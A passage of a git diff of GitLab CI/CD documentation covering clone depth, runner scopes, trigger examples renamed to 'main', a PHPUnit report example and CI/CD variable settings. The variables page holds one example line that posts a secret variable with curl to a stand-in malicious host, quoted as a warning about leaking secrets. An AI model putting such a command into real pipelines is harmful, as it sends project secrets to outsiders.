+Git fetching and cloning is based on a ref, such as a branch name, so runners +can't clone a specific commit SHA. If multiple jobs are in the queue, or +you're retrying an old job, the commit to be tested must be within the +Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make +it impossible to run these old commits and `unresolved reference` is displayed in +job logs. You should then reconsider changing `GIT_DEPTH` to a higher value. + +Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is +set since only part of the Git history is present. + +To fetch or clone only the last 3 commits: + +```yaml +variables: + GIT_DEPTH: "3" +``` + +You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +### Custom build directories + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10. + +By default, GitLab Runner clones the repository in a unique subpath of the +`$CI_BUILDS_DIR` directory. However, your project might require the code in a +specific directory (Go projects, for example). In that case, you can specify +the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the +repository in: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name + +test: + script: + - pwd +``` + +The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` +is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) +setting. + +This can only be used when `custom_build_dir` is enabled in the +[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). +This is the default configuration for the `docker` and `kubernetes` executors. + +#### Handling concurrency + +An executor that uses a concurrency greater than `1` might lead +to failures. Multiple jobs might be working on the same directory if the `builds_dir` +is shared between jobs. + +The runner does not try to prevent this situation. It's up to the administrator +and developers to comply with the requirements of runner configuration. + +To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner +exposes two additional variables that provide a unique `ID` of concurrency: + +- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor. +- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project. + +The most stable configuration that should work well in any scenario and on any executor +is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name + +test: + script: + - pwd +``` + +The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` +as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH + +test: + script: + - pwd +``` + +#### Nested paths + +The value of `GIT_CLONE_PATH` is expanded once and nesting variables +within is not supported. + +For example, you define both the variables below in your +`.gitlab-ci.yml` file: + +```yaml +variables: + GOPATH: $CI_BUILDS_DIR/go + GIT_CLONE_PATH: $GOPATH/src/namespace/project +``` + +The value of `GIT_CLONE_PATH` is expanded once into +`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure +because `$CI_BUILDS_DIR` is not expanded. + +### Job stages attempts + +> Introduced in GitLab, it requires GitLab Runner v1.9+. + +You can set the number of attempts that the running job tries to execute +the following stages: + +| Variable | Description | +|---------------------------------|--------------------------------------------------------| +| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job | +| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). | +| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job | +| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job | + +The default is one single attempt. + +Example: + +```yaml +variables: + GET_SOURCES_ATTEMPTS: 3 +``` + +You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +## System calls not available on GitLab.com shared runners + +GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. + +## Artifact and cache settings + +> Introduced in GitLab Runner 13.9. + +Artifact and cache settings control the compression ratio of artifacts and caches. +Use these settings to specify the size of the archive produced by a job. + +- On a slow network, uploads might be faster for smaller archives. +- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger. + +For [GitLab Pages](../../user/project/pages/index.md) to serve +[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts +should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives +support this feature. + +A meter can also be enabled to provide the rate of transfer for uploads and downloads. + +```yaml +variables: + # output upload and download progress every 2 seconds + TRANSFER_METER_FREQUENCY: "2s" + + # Use fast compression for artifacts, resulting in larger archives + ARTIFACT_COMPRESSION_LEVEL: "fast" + + # Use no compression for caches + CACHE_COMPRESSION_LEVEL: "fastest" +``` + +| Variable | Description | +|---------------------------------|--------------------------------------------------------| +| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. | +| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | +| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | diff --git a/doc/ci/runners/runners_scope.md b/doc/ci/runners/runners_scope.md new file mode 100644 index 00000000000..fa56be3a151 --- /dev/null +++ b/doc/ci/runners/runners_scope.md @@ -0,0 +1,251 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# The scope of runners + +Runners are available based on who you want to have access: + +- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. +- [Group runners](#group-runners) are available to all projects and subgroups in a group. +- [Specific runners](#specific-runners) are associated with specific projects. + Typically, specific runners are used for one project at a time. + +## Shared runners + +*Shared runners* are available to every project in a GitLab instance. + +Use shared runners when you have multiple jobs with similar requirements. Rather than +having multiple runners idling for many projects, you can have a few runners that handle +multiple projects. + +If you are using a self-managed instance of GitLab: + +- Your administrator can install and register shared runners by + going to your project's **Settings > CI/CD**, expanding the **Runners** section, + and clicking **Show runner installation instructions**. + These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html). +- The administrator can also configure a maximum number of shared runner [pipeline minutes for + each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). + +If you are using GitLab.com: + +- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). +- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) + included with your account. + +### Enable shared runners + +On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by +default. + +On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) +and [register](https://docs.gitlab.com/runner/register/index.html) them. + +You can also enable shared runners for individual projects. + +To enable shared runners: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Select **Enable shared runners for this project**. + +### Disable shared runners + +You can disable shared runners for individual projects or for groups. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the project +or group. + +To disable shared runners for a project: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out. + +Shared runners are automatically disabled for a project: + +- If the shared runners setting for the parent group is disabled, and +- If overriding this setting is not permitted at the project level. + +To disable shared runners for a group: + +1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. +1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle. +1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, + click **Allow projects and subgroups to override the group setting**. + +NOTE: +To re-enable the shared runners for a group, turn on the +**Enable shared runners for this group** toggle. +Then, an owner or maintainer must explicitly change this setting +for each project subgroup or project. + +### How shared runners pick jobs + +Shared runners process jobs by using a fair usage queue. This queue prevents +projects from creating hundreds of jobs and using all available +shared runner resources. + +The fair usage queue algorithm assigns jobs based on the projects that have the +fewest number of jobs already running on shared runners. + +**Example 1** + +If these jobs are in the queue: + +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 + +The fair usage algorithm assigns jobs in this order: + +1. Job 1 is first, because it has the lowest job number from projects with no running jobs (that is, all projects). +1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). +1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running). +1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number. +1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. +1. Finally is Job 3... because it's the only job left. + +--- + +**Example 2** + +If these jobs are in the queue: + +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 + +The fair usage algorithm assigns jobs in this order: + +1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). +1. We finish Job 1. +1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. +1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). +1. We finish Job 4. +1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. +1. Job 6 is next, because Project 3 is the only project left with no running jobs. +1. Lastly we choose Job 3... because, again, it's the only job left. + +## Group runners + +Use *Group runners* when you want all projects in a group +to have access to a set of runners. + +Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. + +### Create a group runner + +You can create a group runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +To create a group runner: + +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. Go to the group you want to make the runner work for. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. Note the URL and token. +1. [Register the runner](https://docs.gitlab.com/runner/register/). + +### View and manage group runners + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. + +You can view and manage all runners for a group, its subgroups, and projects. +You can do this for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +1. Go to the group where you want to view the runners. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. The following fields are displayed. + + | Attribute | Description | + | ------------ | ----------- | + | Type | Displays the runner type: `group` or `specific`, together with the optional states `locked` and `paused` | + | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | + | Description | Description given to the runner when it was created | + | Version | GitLab Runner version | + | IP address | IP address of the host on which the runner is registered | + | Projects | The count of projects to which the runner is assigned | + | Jobs | Total of jobs run by the runner | + | Tags | Tags associated with the runner | + | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | + +From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. + +### Pause or remove a group runner + +You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +1. Go to the group you want to remove or pause the runner for. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. Click **Pause** or **Remove runner**. + - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. + - From the group view, you cannot remove a runner that is assigned to more than one project. + You must remove it from each project first. +1. On the confirmation dialog, click **OK**. + +## Specific runners + +Use *Specific runners* when you want to use runners for specific projects. For example, +when you have: + +- Jobs with specific requirements, like a deploy job that requires credentials. +- Projects with a lot of CI activity that can benefit from being separate from other runners. + +You can set up a specific runner to be used by multiple projects. Specific runners +must be enabled for each project explicitly. + +Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. + +NOTE: +Specific runners do not get shared with forked projects automatically. +A fork *does* copy the CI/CD settings of the cloned repository. + +### Create a specific runner + +You can create a specific runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project. + +To create a specific runner: + +1. [Install runner](https://docs.gitlab.com/runner/install/). +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Note the URL and token. +1. [Register the runner](https://docs.gitlab.com/runner/register/). + +### Enable a specific runner for a specific project + +A specific runner is available in the project it was created for. An administrator can +enable a specific runner to apply to additional projects. + +- You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the + project. +- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). + +To enable or disable a specific runner for a project: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Click **Enable for this project** or **Disable for this project**. + +### Prevent a specific runner from being enabled for other projects + +You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), +but can also be changed later. + +To lock or unlock a runner: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to lock or unlock. Make sure it's enabled. +1. Click the pencil button. +1. Check the **Lock to current projects** option. +1. Click **Save changes**. diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/services/README.md +++ b/doc/ci/services/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index a0e15b4e960..8afe8c784f3 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -25,7 +25,7 @@ tests access to the GitLab API. ``` 1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, - [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables). + [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project). Then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index c04ff35212c..2222ed0aa43 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 434adb0c8f3..b8d0df44598 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -56,9 +56,9 @@ and it creates a dependent pipeline relation visible on the trigger_pipeline: stage: deploy script: - - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" - only: - - tags + - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" + rules: + - if: $CI_COMMIT_TAG ``` Pipelines triggered that way also expose a special variable: @@ -81,10 +81,10 @@ build_submodule: stage: test script: - apt update && apt install -y unzip - - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/download?job=test&job_token=$CI_JOB_TOKEN" + - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN" - unzip artifacts.zip - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` This allows you to use that for multi-project pipelines and download artifacts @@ -140,21 +140,21 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example: ```shell curl --request POST \ --form token=TOKEN \ - --form ref=master \ + --form ref=main \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -In this case, the pipeline for the project with ID `9` runs on the `master` branch. +In this case, the pipeline for the project with ID `9` runs on the `main` branch. Alternatively, you can pass the `token` and `ref` arguments in the query string: ```shell curl --request POST \ - "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=master" + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main" ``` You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that -you have two projects, A and B, and you want to trigger a pipeline on the `master` +you have two projects, A and B, and you want to trigger a pipeline on the `main` branch of project B whenever a tag on project A is created. This is the job you need to add in project A's `.gitlab-ci.yml`: @@ -162,9 +162,9 @@ need to add in project A's `.gitlab-ci.yml`: trigger_pipeline: stage: deploy script: - - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' - only: - - tags + - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' + rules: + - if: $CI_COMMIT_TAG ``` This means that whenever a new tag is pushed on project A, the job runs and the @@ -178,7 +178,7 @@ To trigger a job from a webhook of another project you need to add the following webhook URL for Push and Tag events (change the project ID, ref and token): ```plaintext -https://gitlab.example.com/api/v4/projects/9/ref/master/trigger/pipeline?token=TOKEN +https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN ``` You should pass `ref` as part of the URL, to take precedence over `ref` from @@ -250,7 +250,7 @@ and the script of the `upload_package` job is run: ```shell curl --request POST \ --form token=TOKEN \ - --form ref=master \ + --form ref=main \ --form "variables[UPLOAD_TO_S3]=true" \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` @@ -261,11 +261,11 @@ of all types of variables. ## Using cron to trigger nightly pipelines Whether you craft a script or just run cURL directly, you can trigger jobs -in conjunction with cron. The example below triggers a job on the `master` -branch of project with ID `9` every night at `00:30`: +in conjunction with cron. The example below triggers a job on the `main` branch +of project with ID `9` every night at `00:30`: ```shell -30 0 * * * curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" +30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` This behavior can also be achieved through the GitLab UI with diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index cc6d02cbf36..24a37900e6a 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -109,7 +109,7 @@ the [`rules` configuration details](yaml/README.md#rules) carefully. The behavio of `only/except` and `rules` is different and can cause unexpected behavior when migrating between the two. -The [common `if` clauses for `rules`](yaml/README.md#common-if-clauses-for-rules) +The [common `if` clauses for `rules`](jobs/job_control.md#common-if-clauses-for-rules) can be very helpful for examples of how to write rules that behave the way you expect. #### Two pipelines run at the same time @@ -119,7 +119,7 @@ associated with it. Usually one pipeline is a merge request pipeline, and the ot is a branch pipeline. This is usually caused by the `rules` configuration, and there are several ways to -[prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines). +[prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines). #### A job is not in the pipeline @@ -258,7 +258,7 @@ When you use [`rules`](yaml/README.md#rules) with a `when:` clause without an `i clause, multiple pipelines may run. Usually this occurs when you push a commit to a branch that has an open merge request associated with it. -To [prevent duplicate pipelines](yaml/README.md#avoid-duplicate-pipelines), use +To [prevent duplicate pipelines](jobs/job_control.md#avoid-duplicate-pipelines), use [`workflow: rules`](yaml/README.md#workflow) or rewrite your rules to control which pipelines can run. diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index bbb62f74caa..7b5f6b5167d 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -307,6 +307,25 @@ test: - report.xml ``` +### PHP example + +This example uses [PHPUnit](https://phpunit.de/) with the `--log-junit` flag. +You can also add this option using +[XML](https://phpunit.readthedocs.io/en/stable/configuration.html#the-junit-element) +in the `phpunit.xml` configuration file. + +```yaml +phpunit: + stage: test + script: + - composer install + - vendor/bin/phpunit --log-junit report.xml + artifacts: + when: always + reports: + junit: report.xml +``` + ## Viewing Unit test reports on GitLab > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default. @@ -339,12 +358,12 @@ If parsing JUnit report XML results in an error, an indicator is shown next to t Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that: -- The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. For +- The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For example: ```xml <testcase time="1.00" name="Test"> - <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out> + <system-out>[[ATTACHMENT|/path/to/some/file]]</system-out> </testcase> ``` diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 272f379611e..1db2d0dd888 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Authoring info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -16,9 +16,9 @@ CI/CD variables are a type of environment variable. You can use them to: You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: - [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#project-cicd-variables). -- [Group CI/CD variables](#group-cicd-variables). -- [Instance CI/CD variables](#instance-cicd-variables). +- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). +- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). +- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). > For more information about advanced use of GitLab CI/CD: > @@ -56,10 +56,10 @@ You can create custom CI/CD variables: - For a project: - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#project-cicd-variables). + - [In the project's settings](#add-a-cicd-variable-to-a-project). - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#group-cicd-variables). -- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). +- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). +- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). @@ -123,10 +123,10 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Project CI/CD variables +### Add a CI/CD variable to a project -You can add CI/CD variables to a project's settings. Only project members with -[maintainer permissions](../../user/permissions.md#project-members-permissions) +You can add CI/CD variables to a project's settings. Only project members with the +[Maintainer role](../../user/permissions.md#project-members-permissions) can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the `.gitlab-ci.yml` file. @@ -138,7 +138,7 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md). - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked @@ -161,10 +161,9 @@ The output is:  -### Group CI/CD variables +### Add a CI/CD variable to a group -> - Introduced in GitLab 9.4. -> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 +> Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. @@ -181,14 +180,16 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -To view the group-level variables available in a project: +#### View all group-level variables available in a project + +To view all the group-level variables available in a project: 1. In the project, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -198,19 +199,20 @@ inherited.  -### Instance CI/CD variables +### Add a CI/CD variable to an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. To make a CI/CD variable available to all projects and groups in a GitLab instance, -define an instance CI/CD variable. +add an instance CI/CD variable. You must have the [Administrator role](../../user/permissions.md). You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). To add an instance variable: -1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select the **Add variable** button, and fill in the details: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. @@ -285,7 +287,7 @@ does not display in job logs. To mask a variable: -1. Go to **Settings > CI/CD** in the project, group or instance admin area. +1. In the project, group, or Admin Area, go to **Settings > CI/CD**. 1. Expand the **Variables** section. 1. Next to the variable you want to protect, select **Edit**. 1. Select the **Mask variable** check box. @@ -337,6 +339,10 @@ build: - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Custom variables validated by GitLab Some variables are listed in the UI so you can choose them more quickly. @@ -392,9 +398,9 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Windows Batch +### Use variables with Windows Batch -To access environment variables in Windows Batch, surround the variable +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml @@ -434,7 +440,7 @@ Example job log output: export CI_JOB_ID="50" export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="master" +export CI_COMMIT_REF_NAME="main" export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" export CI_COMMIT_TAG="1.0.0" export CI_JOB_NAME="spec:other" @@ -544,8 +550,8 @@ The order of precedence for variables is (from highest to lowest): [scheduled pipeline variables](../pipelines/schedules.md#using-variables), and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). 1. Project [variables](#custom-cicd-variables). -1. Group [variables](#group-cicd-variables). -1. Instance [variables](#instance-cicd-variables). +1. Group [variables](#add-a-cicd-variable-to-a-group). +1. Instance [variables](#add-a-cicd-variable-to-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. @@ -596,7 +602,7 @@ You can grant permission to override variables to [maintainers](../../user/permi with overridden variables, they receive the `Insufficient permissions to set pipeline variables` error message. -If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path), +If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) @@ -641,194 +647,6 @@ with `K8S_SECRET_`. CI/CD variables with multi-line values are not supported. -## CI/CD variable expressions - -> - 